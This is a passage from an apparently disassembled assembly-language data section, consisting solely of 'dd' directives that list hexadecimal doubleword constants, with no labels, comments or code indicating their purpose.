		dd 748900C0h, 349A9C5Fh, 0C233096Eh, 0D0ECA493h, 390F1200h
		dd 0E119E213h, 628B455h, 0C00D1672h, 917D138h, 0B962571h
		dd 0FD1CA5F8h, 921350B8h, 0C404C57Eh, 93CA32Ch,	18BB33E1h
		dd 207235C4h, 0BA0B4BB6h, 58132389h, 1DCE92Ch, 6F281722h
		dd 0A034B0BBh, 581C2F3Ch, 26738ECh, 1A0D0B85h, 84587113h
		dd 0C0D316FAh, 0AFEA6C08h, 88FEEE13h, 2439EC60h, 2AF300E3h
		dd 7B5031F0h, 0FA091EE0h, 3198D87h, 0C10CE620h,	0F440B1FEh
		dd 0B02795E2h, 92E52460h, 5F8702FCh, 7642137Bh,	744014B2h
		dd 206906F9h, 1F0000F0h, 0B2C5A5FAh, 5CDD2034h,	0CC2AE117h
		dd 0EBF76C44h, 1A0118A2h, 4F5FE3D8h, 921094A8h,	0E4992E94h
		dd 13601140h, 10FB64A3h, 26A0A36Fh, 23799097h, 949009FFh
		dd 2419F4FFh, 0FD64E0C4h, 0E941F800h, 37DCDDF5h, 0CF131A67h
		dd 0E062A831h, 415F2480h, 2649A88Ah, 0B70D802Ch, 6DFB99h
		dd 0B3EDF385h, 7F1203EFh, 21658400h, 116108FFh,	6008A217h
		dd 82B7BB88h, 0B9580CB8h, 5FFA0380h, 0D34C0080h, 214F10E0h
		dd 0B902F471h, 8E71D93Ch, 0D4E48A45h, 0A8EDD00Dh, 4FB0F3ECh
		dd 72D4203Eh, 29F13594h, 0A4A01434h, 94D59394h,	490BB480h
		dd 5F380301h, 0B5AC14C9h, 88195003h, 0ACDABB6Bh, 40ABE4A4h
		dd 1F6579FDh, 30D0B3B9h, 1B0D248h, 17BC86E4h, 47A24024h
		dd 3CD370F8h, 70001C18h, 94C0BD0Dh, 60E2703h, 31F9D0B8h
		dd 0ED4B4828h, 71354472h, 15920160h, 60CCA06Dh,	0FF001E8Ch
		dd 916FF939h, 1791D64h,	36132CCBh, 0D7FAC849h, 7C159EC9h
		dd 8CF984C8h, 0D312C4ACh, 7A29090Dh, 0DC909809h, 94BC33C2h
		dd 0A9F6CC58h, 0EC64D890h, 4BFC7B13h, 38188890h, 0BBF19209h
		dd 0F98499C8h, 605012EEh, 4897B49Eh, 0DAE34482h, 0DE852460h
		dd 2E146148h, 3A608545h, 6CA15B72h, 0F38342Bh, 4AE0E78Ch
		dd 517D2D7h, 43C5A4Ch, 3DBCDC60h, 26E09888h, 0B10FEC7h
		dd 0D405EC1Ah, 208CE25Bh, 38E33A21h, 0EA269049h, 6EE90218h
		dd 6085D39Ah, 94A4CCB1h, 0FCD0B44Bh, 5B95E0DFh,	1338427Fh
		dd 6454D89Dh, 2830BA47h, 889CC6h, 7A218EABh, 0F82DF931h
		dd 0E0043CB4h, 0B1048361h, 501480E4h, 70011EC0h, 0FFDA0993h
		dd 60287654h, 0E2B36701h, 2271C71h, 72F8C024h, 0CCF4508Ch
		dd 7F0D17C2h, 6AE0706Eh, 0A069ED3h, 0DD53F96Bh,	817C4BE0h
		dd 0A63DB7CCh, 3A00B8E0h, 0E38B635Ch, 41671F76h, 70720354h
		dd 0B980D29Ah, 3B094486h, 84CC04B8h, 0C4B06A9Ch, 9A1D4034h
		dd 0D01EFB0Eh, 0F1132392h, 208017DFh, 1A680573h, 0C8F061DCh
		dd 0B453E211h, 82243189h, 7581B8h, 699C20Dh, 0F70DF475h
		dd 0C02813DAh, 0B792060h, 527E3598h, 38969058h,	0EBA0478h
		dd 0CB726D0Ah, 38BA0849h, 0E621D42Eh, 43C7E371h, 10C962A4h
		dd 6EC03093h, 8D400C38h, 0A84BBAE1h, 0B07F9864h, 0A4145AC8h
		dd 0EE0039C0h, 9AC5869Eh, 2CE158FDh, 92C06F42h,	123498BCh
		dd 7A27800h, 98FB2DC7h,	84EA4DDFh, 13091011h, 5403B035h
		dd 0A8059A6Ch, 3B1C5CAFh, 0FA8CDEB4h, 4F286176h, 0B1278713h
		dd 0CA2D84E8h, 0A0D2DC89h, 786178D3h, 0BC3CA1FAh, 1300D14Bh
		dd 48202CC6h, 0D89C008Ch, 0A998D66Bh, 882A60D3h, 7909E338h
		dd 0F957ED04h, 84C48BBEh, 6201E0E8h, 6C72474Eh,	2560AF3Ah
		dd 0DCF469E4h, 0B1484030h, 0A21EDD2Dh, 0E3435F4h, 1FF27B61h
		dd 1CE0FAD2h, 8E97E405h, 1856C06Ch, 0C2447613h,	0F3DEBC40h
		dd 92ECCC81h, 0DC8825FAh, 0CB2F605Bh, 0D04410C2h, 77A2032Fh
		dd 0DBE9F18Eh, 38F05049h, 96229FE6h, 0E307F42Eh, 0CF2092F9h
		dd 58E55B4h, 0DFF869AAh, 0FAFCD120h, 5E6C022Bh,	6728624h
		dd 8E12E93Eh, 80009A4Bh, 0F6466A7Fh, 710E5F6Fh,	70ED63E4h
		dd 0A0C625D0h, 1881207h, 342A55CBh, 801FA372h, 199B4928h
		dd 0B97FA4h, 4A73E97Ch,	0BB685C21h, 660D600h, 4671F902h
		dd 1492DEh, 0DD5A757Eh
		dd 50AF8922h, 303F3E78h, 1CB04AFAh, 60B0E2E0h, 6C0B8860h
		dd 0B976E13h, 0EDFC0058h, 0B0D099A3h, 6FEB02C8h, 6AE0EFBCh
		dd 23E26469h, 0D0F7954h, 8DC8D006h, 8003059h, 611C7270h
		dd 5FEEE923h, 437B70A6h, 16E20901h, 0F72C94FBh,	892C402Eh
		dd 0B336C9B0h, 8319AB01h, 0E16DD53Ah, 4B75006Dh, 0E03C84C3h
		dd 0C8983714h, 0D0F5BB37h, 15EE204Fh, 5E922FEDh, 0E7F846DAh
		dd 0BA5F20A6h, 0E2094C4Eh, 0E4D1BB6Ah, 0FC9C1794h, 86748238h
		dd 124D7C44h, 11D84090h, 0E0F766E2h, 6F2CE109h,	0DB406032h
		dd 575A26h, 0B43688EBh,	9DE435B8h, 0FB31312h, 9AF8D489h
		dd 0E5781752h, 0F908302Ah, 10D25088h, 896F08F0h, 0BF06312h
		dd 0C6925F87h, 98010EA0h, 7903C04Eh, 0D5C444B2h, 5D9C088Ch
		dd 6097163Eh, 2317C446h, 40731FC9h, 0F93B4418h,	63ECD77Dh
		dd 47C099F1h, 0D9E41D71h, 0FA0A3206h, 4B205865h, 953C029Eh
		dd 886E2ACAh, 784FF224h, 407DFA89h, 0D0EB1Ch, 48E82C6h
		dd 0E0E3DB32h, 689D7725h, 3D2A0D84h, 0E8FCCB6Fh, 0D24923Bh
		dd 17113FBh, 0C1AFC60h,	0E832E700h, 0DBC02098h,	6B790492h
		dd 0ECD02272h, 54E72C44h, 71C83481h, 0F98A42BDh, 60B02614h
		dd 1AE17245h, 13CC405Dh, 800B13CAh, 0CB500FC3h,	0D2DC607Ch
		dd 0A203781Ch, 84E4D1DDh, 0AC30C078h, 0F3E4C500h, 277D9CA0h
		dd 90A29048h, 0C0546CE9h, 0D1CCE26Bh, 1C4242A8h, 5172E490h
		dd 10900F67h, 0FA09F460h, 40636031h, 111FE47Ch,	71F3790Ch
		dd 27F92955h, 1C1B6417h, 0C567E900h, 0D7564C0Ch, 0BB4FE0h
		dd 0EC6905F4h, 68010332h, 0F9CFB30Dh, 9C44D82Ch, 8509C004h
		dd 0E1BFF302h, 0E5003CD1h, 0FDA63482h, 0C011E0FAh, 7AC7DA70h
		dd 0C8028696h, 379E6A3Eh, 0E0C440B1h, 4935621Dh, 2BDDF6h
		dd 7CFA0B84h, 0E240C01Ch, 8D6259CDh, 0E719F20Bh, 0F90605DAh
		dd 9841DEC4h, 9A600FE4h, 1A1F9230h, 19198CC6h, 902C33C0h
		dd 451B1209h, 0CA6C2256h, 38F4C1A2h, 0A9D5D9FCh, 146012E4h
		dd 69E8404Bh, 8E57B3Dh,	281D9DFAh, 0D18DA248h, 0F6123CE4h
		dd 0BA6CB006h, 8B91440h, 70746065h, 0E7371A3Eh,	27345650h
		dd 1413ECE6h, 78B0BF04h, 65B83CAEh, 13620C74h, 0E1A07730h
		dd 5CB44Dh, 32E3E41Ah, 0ECEF92h, 0B363A280h, 0D9E991C6h
		dd 34086F02h, 6A421013h, 831740C4h, 19A500DAh, 0D41A3A0Eh
		dd 309E4BA9h, 64ACA089h, 66B62DE8h, 0F85FF440h,	778855Ch
		dd 29F1EF05h, 84CBB307h, 80AC920Ch, 2C4D40Eh, 75C96700h
		dd 84393596h, 9EF16274h, 4840895h, 0E90F09E1h, 0FD95C1D8h
		dd 4F2B9064h, 898E910h,	4861F014h, 882E74C1h, 12C216D8h
		dd 8228E16Ch, 706C0964h, 0CC1938BEh, 0C82CC3D8h, 4037B10h
		dd 7887D977h, 20F2D580h, 0CB1F0111h, 0E0EBDE9Ah, 0E40B3E26h
		dd 495CF21Eh, 2313EC10h, 7838C98Eh, 0EC284BE0h,	8B092472h
		dd 93EC81F8h, 0EE1E9905h, 0E0094474h, 3C607071h, 104C84A8h
		dd 30D6521Ah, 9411D045h, 0F4416C02h, 0A443C13Eh, 0D49092BCh
		dd 833818DCh, 4DE183B2h, 2897F7Ah, 0F9E4DABCh, 0DC5C098Eh
		dd 4BA0226Bh, 25A85AD0h, 0C8641F12h, 59E0E20Ch,	0B00158B8h
		dd 0D23E7AC4h, 0FD905DE2h, 20DC534Ah, 0E4DC1A74h, 3881825Ah
		dd 0EC45A1EAh, 93578F4h, 0C5BBF292h, 0FA01D4F9h, 475AE138h
		dd 12D51080h, 7D4E4283h, 0A4B09378h, 0F3D21310h, 5278C450h
		dd 0CA80BC9Eh, 3580C42Ch, 4710E200h, 84B98A4Ah,	0E89A7F6Bh
		dd 90590053h, 9FD2E8BBh, 9900F68Bh, 0FF6480F1h,	6B2C135Ah
		dd 0A4E1A873h, 58D115BCh, 0E8805F60h, 1A0FEFD4h, 0E024E11Eh
		dd 0C4275807h, 0D3B776F0h, 1A460B31h, 87885420h, 0F15B0Bh
		dd 0F011A508h, 22F03BAh, 68E23896h, 823DB4A9h, 0FA0871EAh
		dd 0F074CB0Eh, 34F9747Fh, 0ED51FCBFh, 0E635C060h, 4A1FFEF9h
		dd 87E8002Dh, 6BE17C38h, 48C06D69h, 88101190h, 0B0F6407h
		dd 5F3CC98Ch, 1890A0E8h, 0CEE1F709h, 26EC80F3h,	766A12D4h
		dd 3B7A3E0Bh, 52B68692h, 89200404h, 723602CBh, 4858585Ah
		dd 4C047812h, 0A16E029Dh, 1813D04Ch, 1F209200h,	3CEE2B5h
		dd 2466EA99h, 88786C32h, 7890FBA7h, 6404178Bh, 0C35482CCh
		dd 0BA0594DEh, 98A207B7h, 61ECE44Ah, 0D81C839Dh, 7082AD27h
		dd 805440h, 0D79A70DBh,	0AF3C5562h, 0F1D27A52h,	0E07BF8C0h
		dd 75C21214h, 0C4C2836h, 621FB9FAh, 0DE009FD8h,	9F5779Ah
		dd 13EA0932h, 180078E5h, 0C4830ECDh, 0FD9A471Dh, 0C5373BC0h
		dd 54247E36h, 1D5B82Ah,	8480620Dh, 6C1E8135h, 0C931388h
		dd 3030908Dh, 0C92480B9h, 29BBF0CBh, 8C0400F4h,	0A003784Fh
		dd 8BEBF8h, 16B987FBh, 9C29366Dh, 921CAF02h, 5445E184h
		dd 0C1011FB0h, 0FD71AC75h, 7F9C50F2h, 6E0BAD81h, 581EE0E4h
		dd 649A9DF0h, 44B71C40h, 82A0129Dh, 0C826B8h, 0E93F8212h
		dd 0CEE88C32h, 5818426Bh, 4C3C9884h, 0AC0080EBh, 0D4BBFB54h
		dd 9400C667h, 5191FF4Dh, 4BB2FA0Dh, 0C9A40059h,	887F0ECAh
		dd 3C697802h, 0D2A493D8h, 0CC0E6E4h, 12F1917h, 26003830h
		dd 0E1E4D293h, 0B13108Ch, 0F1D06109h, 0D018888Dh, 3B0A730Eh
		dd 8FA99EEh, 9035D909h,	4F1805ACh, 719C4939h, 0B15FC0A1h
		dd 249304CDh, 0BCD8AC33h, 0B3C530E1h, 0BB98D320h, 19205D31h
		dd 0A04AAAF1h, 0D6B8605h, 17CC167h, 4072005Bh, 0BB7980DCh
		dd 8113D1C2h, 0C8A0409Ah, 0EC922D77h, 0CF4BF06Ch, 64852457h
		dd 0C01974E0h, 0E4470DC0h, 0BF16B087h, 5400CA7Fh, 7DEC36EFh
		dd 81532E13h, 8B388C08h, 0CDB89A80h, 8CD1203Fh,	78BE6614h
		dd 0EA932C70h, 1BAC007Ch, 0C0E47D36h, 0D29BE8C2h, 5EC4135h
		dd 0D98C406Fh, 68C0C494h, 0CC33394Bh, 9C30CF72h, 7388F6h
		dd 25343261h, 0AE16ABAh, 0FD814B61h, 11EC8846h,	3AAC2014h
		dd 26AD8900h, 0F9AFF34Dh, 0CAF85BC1h, 0D3FB0CCCh, 1EAE6907h
		dd 8643F46Eh, 19BDDD99h, 8EE58202h, 85092A48h, 54D0D9BEh
		dd 25F3110Eh, 3810EB72h, 14142D0Bh, 3F907F5Ch, 0E04A9870h
		dd 5137649h, 88DB2E3Bh,	9A10C1AFh, 0B082C04h, 6423E4F3h
		dd 0A6E87CE4h, 655D0080h, 0A4093B85h, 8A30A11h,	0D5293812h
		dd 44485489h, 0E02D8C04h, 0B7B8603Ch, 20C20762h, 4534FA9Bh
		dd 47C818Bh, 60B08DA4h,	28687931h, 0E8F4815Eh, 3710217Ah
		dd 0B204958h, 0F6AFFA10h, 71E501DCh, 0D0D695E2h, 8202019Ah
		dd 891E17F5h, 9EBC8381h, 4AFEDC8h, 129D1B2Ch, 0C8EE481Fh
		dd 0A9A4111Dh, 0E833860Ch, 0E3C43060h, 0F95C2111h, 48B24232h
		dd 446454E0h, 4C54B299h, 86281297h, 9BD4820h, 24B19822h
		dd 8EF92h, 6C072699h, 0EE09F372h, 50AFE12Ah, 20B09D28h
		dd 675A07DAh, 68C71C52h, 0CD98A4D9h, 510400A8h,	92C59713h
		dd 8C907734h, 0BCA64110h, 0F48245E2h, 0FC07891Ch, 0C416842h
		dd 0FDD1F828h, 0CB631490h, 0E96DA818h, 302E3102h, 2B273958h
		dd 7218227Eh, 0BE80BC71h, 7D58006Ah, 2869D0CAh,	0E11847A0h
		dd 948FFF7h, 0B30D2877h, 7FF224D0h, 94DD807Ch, 9A5ABE56h
		dd 0F81E54F6h, 989679Eh, 80B4511Eh, 0E5A76ECDh,	0C901F328h
		dd 0F9504A10h, 90534C55h, 1083FCD9h, 17D93839h,	0FBCCB581h
		dd 7831C33Eh, 23D81034h, 0BCE6407Fh, 2265C601h,	0EE92038Eh
		dd 0B4A99043h, 0EDB0ECC0h, 8AD201A7h, 0B1991425h, 0AC566A90h
		dd 7212ECE3h, 0D2A847E2h, 0FB990309h, 26E7A9F8h, 3B9DC0Bh
		dd 0FF88806Ch, 40666EB1h
		dd 7B058892h, 0DDD38980h, 0E91838C3h, 0ABF0C997h, 0E8E9007Ah
		dd 4856C06h, 13166B3Fh,	18F433ACh, 0FAAE4021h, 0E40E6E4Bh
		dd 607B8B13h, 3D9678CCh, 7F01E1BBh, 15722BE4h, 923087DAh
		dd 8B82397Ah, 0ECEC9011h, 86B4A6FFh, 0C5D45B6Ch, 0DD00808h
		dd 74888039h, 71EE07B4h, 58AF6270h, 24D2EC6Fh, 0B8381A95h
		dd 0B5222FF8h, 0BBEA5480h, 8F0260C8h, 0FA0469D1h, 0DA44827h
		dd 0E47118B5h, 1C197809h, 0EE883565h, 615B040h,	59A92418h
		dd 47132868h, 3F70A530h, 36216C04h, 0E8D19A09h,	663F2B84h
		dd 79091080h, 20174F5Fh, 6EBF6564h, 30E5377Bh, 5E01CCD0h
		dd 141949A0h, 60286A6Dh, 815F1148h, 23A8ADCh, 0A1F04169h
		dd 1A4047Bh, 40C887BAh,	72499E6Fh, 16D86A4Dh, 0B8B1E579h
		dd 95095C22h, 592598h, 5C4B7CA6h, 114747F0h, 83F688F8h
		dd 86FFF210h, 221C6F9h,	0EA5167B6h, 8902D708h, 420C93F6h
		dd 36051C28h, 0B871FA0Eh, 0DABB0AE4h, 0A3AFF41Ch, 0AC767268h
		dd 0BD7C43ABh, 20A244B4h, 4A0B6C7Ch, 76B8442Bh,	0C24D5F14h
		dd 8C898904h, 0B1008873h, 98FA1EE9h, 0E710C332h, 7DD8CE0h
		dd 60FBE294h, 46FA07BAh, 94201461h, 272FF98Eh, 964DB3B8h
		dd 0C6CE6000h, 1A3A31A8h, 0FFD80E65h, 0A8786671h, 9ABDBB67h
		dd 7C7EB0h, 419C4F9h, 870CDA9Ah, 80CA5344h, 2B2041FBh
		dd 41C5428h, 4D720473h,	0C158ECD4h, 9A39E866h, 88CC326Ah
		dd 0E9E04C76h, 2CAA3473h, 2DE2D7h, 0A716CC60h, 2C9E1AFAh
		dd 1CE60F0Ah, 568C92E9h, 923405C0h, 0F138B8F5h,	2EC113h
		dd 6D862534h, 36006452h, 0F384FE3Dh, 5060B298h,	71409895h
		dd 9B4E18h, 3EEEB478h, 0CA70ED9Fh, 84F7B12Ch, 5BD9FF03h
		dd 0E2BBA9F9h, 1D7C59E4h, 7022725Eh, 39B96C70h,	0DEEB0600h
		dd 1AF98480h, 93CBE8Eh,	8EA1DE7h, 6CE5ACF6h, 72C2C4F8h
		dd 0D8F21AB5h, 0A12EE0E7h, 1E5D0CBAh, 759284A8h, 0A78C13AEh
		dd 14C84E7Ch, 2F09AEBh,	1D1A0B6Eh, 34821F05h, 49042618h
		dd 0BC8F88Ch, 716F9202h, 0F942DC71h, 6C00C830h,	0FA090CDDh
		dd 0B4E08FCFh, 4502F100h, 6AAF17DBh, 71E7123Ch,	68BCB090h
		dd 82E0BB3Dh, 7251855Dh, 84782Ah, 8FE21E19h, 9B6F8118h
		dd 0E0B4F409h, 0E80CA0CFh, 30C26BDh, 6B7AC2D9h,	28B0E992h
		dd 335C6953h, 803F2F40h, 112492Ch, 0EB3030Fh, 0FCE8AFF0h
		dd 0C37772F1h, 244A2002h, 609281F7h, 62AACCA0h,	0DC7C2070h
		dd 0C4866B00h, 87643C71h, 5240B74Ah, 4256C05Ch,	0BD1326Ah
		dd 0E8720516h, 74107CA3h, 52019BB8h, 912A1C18h,	0B55F310h
		dd 6171E0DDh, 15FA50A1h, 0C4B90003h, 2570138h, 4F1D1847h
		dd 41B065D9h, 0B9B44821h, 98E53060h, 4EFA9E6Dh,	0AE94D1B3h
		dd 3A390765h, 162056E8h, 5A4C117h, 171D819h, 0E9BC341Dh
		dd 880989EEh, 578F58h, 0D11362DAh, 8CA8BD94h, 0A9183178h
		dd 8BE2004Fh, 14650116h, 0E171912Fh, 90016F23h,	7213E5B0h
		dd 2125106Ch, 0E9017C70h, 25A89B0Ah, 0D1E1D71Ah, 7CF30840h
		dd 4818BD05h, 8E173D28h, 0D8026F3Eh, 0C9CEA971h, 3819D4h
		dd 0A34A2C49h, 650E74F8h, 801C75B8h, 6B708994h,	34EB00D3h
		dd 0B03072F3h, 0D126240Ch, 7BC3B023h, 0E05810DDh, 0F0085049h
		dd 3D79A600h, 0C466D19Ah, 0B41F0398h, 433071BAh, 711EA925h
		dd 57FA8544h, 0DBB8E074h, 4023F95Fh, 13A820AAh,	0E3DE9209h
		dd 361CC041h, 0C0BD4E72h, 0E21C1640h, 19C08E3Ah, 89085718h
		dd 93C2046Dh, 615DAAD8h, 0E015B418h, 3530F900h,	4FC380F4h
		dd 8A09801Bh, 70D41902h, 0CE392406h, 32E1092Ch,	0D858F472h
		dd 8A355C09h, 9AE06071h, 32DE8F3h, 8536CD9Bh, 0B98F069h
		dd 0DF2F6511h, 15F06E88h, 8440D672h, 606F5E1Ah,	943B0DEh
		dd 41E2D0A9h, 0C0114E72h, 38F15CA8h, 990FF398h,	4AD20EAEh
		dd 2C00B803h, 0BCC85E6Ah, 994FEE0h, 0E1B031E6h,	12013CD8h
		dd 6A0B3C7Ch, 0D646E0F3h, 98D205B0h, 0FDD5A8A9h, 69E677C8h
		dd 7719A502h, 76031A71h, 0B3650964h, 0EC002C6Ch, 9AAF3CCFh
		dd 0A76E15h, 59267D20h,	0C0F1D237h, 0CA001CE0h,	364EE78Dh
		dd 912D04h, 0B98CC61Eh,	0C53B8527h, 4893025Eh, 0F39F2FAh
		dd 6685C98Fh, 728430BFh, 0FC06416Dh, 2CCDF93Eh,	2EC60018h
		dd 89331F03h, 0D000AF58h, 7F1146A7h, 0B619BE5h,	0A402E11Bh
		dd 9AA75CFBh, 64047434h, 72FB03BCh, 97188873h, 0FA15308Ah
		dd 993A7B10h, 0BBA14E07h, 52848571h, 0DCB29C21h, 7000A8F9h
		dd 7381A47Fh, 1307AFCh,	3E866DC5h, 0C8A249EAh, 30FB769Fh
		dd 507A3963h, 70DB9C30h, 57CAC23h, 3B2CDC01h, 0A3E6809Ah
		dd 200167E7h, 7B99E9AEh, 5887763Eh, 1B9EFFBh, 87451E52h
		dd 58F29B10h, 5E85A80Dh, 5A45776h, 0C033FA08h, 8A703DFFh
		dd 3B0741FEh, 98297480h, 21203043h, 0A2004040h,	0EFAD24D4h
		dd 148A0076h, 5B6B4944h, 4A003B45h, 0DF2F7B31h,	2675CDEAh
		dd 6CBDE1Ah, 5827E58Ah,	0EB0019E0h, 204DC4B5h, 19FB5AF3h
		dd 0E8F670CAh, 31FC0EAh, 39F49700h, 532077E7h, 0C880E342h
		dd 92AC0A3h, 7B006F55h,	7C4EE65Dh, 0CA843FEh, 0CE2152BDh
		dd 7560F828h, 3EF27208h, 0A6D22E59h, 14251EA7h,	0A2000856h
		dd 712047F3h, 0DE195796h, 0AB086672h, 62B98AD8h, 0FCA1B05Ch
		dd 0F01F9491h, 10C0BED7h, 801EEE53h, 96D41865h,	5FE9701Ch
		dd 603BB0DDh, 0EE8AF102h, 525500A0h, 8F6E75F5h,	311E4565h
		dd 408CFD92h, 7C89385Ch, 97100F7Eh, 76607920h, 8E715172h
		dd 527B573Ch, 68490AECh, 4214B470h, 0DD4A0C94h,	3EC8106Bh
		dd 1C00143Ch, 0C49FA0DEh, 1A03FC7Ah, 0F22008ECh, 5C9184B7h
		dd 2842587Bh, 8A2041E9h, 763281CCh, 23AE84Eh, 0D4CA407Ch
		dd 1848C784h, 0AF00576Eh, 718D8AFBh, 90F496F8h,	0CF27808h
		dd 28CF52C8h, 8A12A550h, 8F1D1BDAh, 56019980h, 0E95A537Dh
		dd 430E2083h, 7683AA44h, 85F2D1D9h, 0B9F1A360h,	4508501Fh
		dd 0B2D30614h, 3F00A94Dh, 2EDD8520h, 7BEFB45Fh,	4E780C90h
		dd 0BA907377h, 1091B01h, 0D31F5323h, 8A84092h, 2880E52Ch
		dd 6D0BD520h, 0D3D450F8h, 0E1596174h, 223AF250h, 24AD3D70h
		dd 0ABF2077h, 94F3A66Ah, 25935306h, 0B2710318h,	6F4D52C4h
		dd 399C1000h, 0A6494B7Dh, 2052CF8Ah, 0F8972161h, 57E8D810h
		dd 51094DF2h, 0A0C4F10Bh, 2396F020h, 41531288h,	850C009Dh
		dd 1AC24A10h, 0A43DEA0Fh, 0F0684A49h, 0D3CF2300h, 7CCB3AC1h
		dd 0D2C224DFh, 0A398170h, 0E10C4EAFh, 4051E11Fh, 0B4EFA208h
		dd 5F0008E0h, 96E82B57h, 90265E8Ah, 65CE46Ch, 5372706Ah
		dd 0A93BF865h, 3C4492F8h, 80695C06h, 61180DA8h,	0D0C8EAA3h
		dd 0A04C41Dh, 0C7938A23h, 0E6FF9701h, 7688602Dh, 0EAE47D0Eh
		dd 0A44CE67Bh, 52CD0A20h, 945DADh, 0A788BAA1h, 0C9FB3216h
		dd 78BC4099h, 0DA1E0A8Ah, 0F020FC52h, 91717098h, 0A5490534h
		dd 89AC182Ch, 0D0A85FCBh, 332AD41Dh, 98A0E479h,	7E0F97A7h
		dd 2C5315AEh, 149D2861h, 0BB12028Ah, 7ECD6509h,	0E8286C91h
		dd 930495Dh, 0D50B4282h, 1DAA24D6h, 531E83C8h, 600BA1DFh
		dd 1044D7Bh, 0CB254931h, 6D368080h, 7FB6F12Fh, 3ADCB31Eh
		dd 0B9D50C1h, 0F456E9E2h, 4960F0C8h, 0F41070D3h, 367A1215h
		dd 38E93426h, 91788FF1h, 2EC9210h, 0E038CBF4h, 20186448h
		dd 3F7BF4E7h, 0B690F899h, 0FCFA7D1Dh, 0A46C3B26h, 34530A68h
		dd 0DE6503F8h, 0ADE06FE7h
		dd 0CA61A149h, 147CC550h, 0A9FD1DE9h, 0CBF083F0h, 68002D18h
		dd 0A0C09E82h, 0C2A2E907h, 0B1DC497Ah, 7B4B2488h, 0B817035Ch
		dd 0D800B267h, 0E3C82F1h, 1CB7321h, 1657867Ah, 876277AAh
		dd 0CA514040h, 0C58A6100h, 0C3E8C1A3h, 0A00A1952h, 0E48880C9h
		dd 91641553h, 1C80A0E0h, 30070632h, 41D27B01h, 4918C6B0h
		dd 0EB90B247h, 40F1D250h, 5A7425A0h, 0A092DA49h, 8F3EC700h
		dd 0A45F73ECh, 48EB06A2h, 78145053h, 0F107CA18h, 50BB8A48h
		dd 77B985Dh, 0B40A7557h, 0C586E0A1h, 98C49FAAh,	7A0011B0h
		dd 5B1B2141h, 3351D100h, 38A30A2h, 12A720Ah, 7271D21Ch
		dd 0D0784852h, 761E07FBh, 65DDC756h, 623C583Eh,	857B18h
		dd 0CC1AA5AAh, 3758320h, 527A70FAh, 103C67C0h, 80AD3CA2h
		dd 232CD656h, 6EE6CDh, 2848AB1Fh, 8971FABDh, 3A39307Dh
		dd 755C167Fh, 0DF858907h, 491A97A0h, 28B3605Ah,	0E8FF57F3h
		dd 521F5E06h, 9701DEDh,	116D89B1h, 0D2CA7C80h, 0B41F6186h
		dd 0C20C98F7h, 507AD0FEh, 748503Fh, 3A446CF0h, 7358D723h
		dd 6077FFB3h, 6F507800h, 9E1F07F7h, 96D1F318h, 3DCCED0h
		dd 51FB74FCh, 48733AF3h, 0FF1C067Fh, 1EC0EF97h,	645222A0h
		dd 17F734Bh, 0F01DA786h, 880E8116h, 0EEB9C28h, 0D3D949h
		dd 64FE2AC8h, 97004341h, 0CA1A2FFAh, 0DDF6A7h, 2B85F8CFh
		dd 89703878h, 0E0173E31h, 984273C2h, 387A2028h,	3B000440h
		dd 0ECB4F0B3h, 0C2B6FE5h, 0D86751CCh, 891BA4A8h, 0B8E06D8Dh
		dd 463A30h, 0B6EEA21Fh,	566607FFh, 95EF2A07h, 49D10F43h
		dd 0A09E88C6h, 74B34087h, 78E0F3F2h, 837E6F0Ah,	4B00A46Ah
		dd 13874519h, 7BAA005Bh, 0C8207148h, 5600C543h,	76EA9FFFh
		dd 31D3A71Fh, 9AF8F7E9h, 6FBC404Ch, 0EB631078h,	0B0527948h
		dd 5CCA9D29h, 480C2DB1h, 0BC809356h, 27E6CCA4h,	8A67B6F8h
		dd 0E7901E18h, 0A3538995h, 0F1C0B888h, 12A0C631h, 4D2859CBh
		dd 71008076h, 0FD1F17E9h, 902BBh, 0A1A52883h, 79BAF475h
		dd 0E96D4B00h, 0D789968Ch, 4350DED4h, 0BEDD482Eh, 6CF14002h
		dd 8FA33A22h, 58152CF1h, 2130A074h, 5A3737D3h, 565D7078h
		dd 0D00314A0h, 0F65227C5h, 9E280468h, 87154ABBh, 0F3ECBF0Ch
		dd 0ED018330h, 0E8E34438h, 8C20C47Ah, 4A84EB22h, 84FDC326h
		dd 4338325Ch, 42812441h, 0D04808B0h, 1A618D51h,	27F79620h
		dd 0AE8A6021h, 9088D859h, 56B18035h, 0C0A3F3h, 72CD43EEh
		dd 0A0484E2Ah, 2CA075B8h, 3B481F2Fh, 5D520C14h,	0F4A53807h
		dd 0B0511DCDh, 1BCE4F9h, 3A45AB75h, 0C3A07AECh,	0B8846447h
		dd 177491E9h, 3C0A000Ch, 88ACA3BEh, 0D7F9607h, 0EB761EEFh
		dd 0FF0430A8h, 0C9757331h, 0F1004AA0h, 0A71FE88Eh, 46C397E9h
		dd 0E142E48h, 5262EA50h, 0E82856ACh, 0B485A8C1h, 48ECBD4Dh
		dd 7C1C92DCh, 0A3F1FAE9h, 9080CE94h, 61C91248h,	6A0C60D9h
		dd 970559EAh, 1676F435h, 85F0B840h, 7C4EE041h, 6371146Ch
		dd 0B01F0C2Dh, 444DF9Fh, 0D58C7Bh, 5E727CE7h, 81B569F0h
		dd 7638A402h, 9948A100h, 0A18CEDAh, 28AD001Ch, 853051C3h
		dd 7E446413h, 0CCB98C1Fh, 0A76210B4h, 0F58B510Ch, 0EFCA260h
		dd 71EB702h, 614C0852h,	0EC4C7A34h, 0D2A60025h,	79E913AFh
		dd 0EEFC964Ch, 0A023B101h, 15DBB52Dh, 288016EDh, 0CF626F90h
		dd 0F12C5479h, 0B0248BD5h, 811F6640h, 0B5461FBBh, 0CA8CC705h
		dd 0B94EB0D7h, 4D69D951h, 0ACB00270h, 0FF7000A5h, 3F74F395h
		dd 4A8BF000h, 7A3C8ADBh, 0FD400148h, 0DD4901E7h, 5BBC50F5h
		dd 27554CD3h, 0AF7081E0h, 91C88997h, 51CA5083h,	21054461h
		dd 0AB635292h, 48958801h, 54205BA5h, 9070E471h,	0C452121Ch
		dd 5C745F98h, 6758079Ch, 5A6C976Fh, 0C02B040Ch,	260DA80Eh
		dd 3981A04Eh, 17EB5BBFh, 42CFE89Fh, 77522863h, 9C322880h
		dd 7403D7FFh, 8751CB1Bh, 6A98066Ch, 494D55E9h, 680003E6h
		dd 0B1F0B660h, 0EB3F45h, 234BC7EFh, 437A4D87h, 0D189840Eh
		dd 7B8F6628h, 80C91CE8h, 0B503C07Ch, 0F9C1A288h, 0A11A302Ch
		dd 0F212FC29h, 0E80C0C1Eh, 0CF113Bh, 0D2EF8159h, 96C8F9Eh
		dd 3C8BFD0Fh, 4C46724h,	0E245020Ch, 71BA0152h, 0F7764F68h
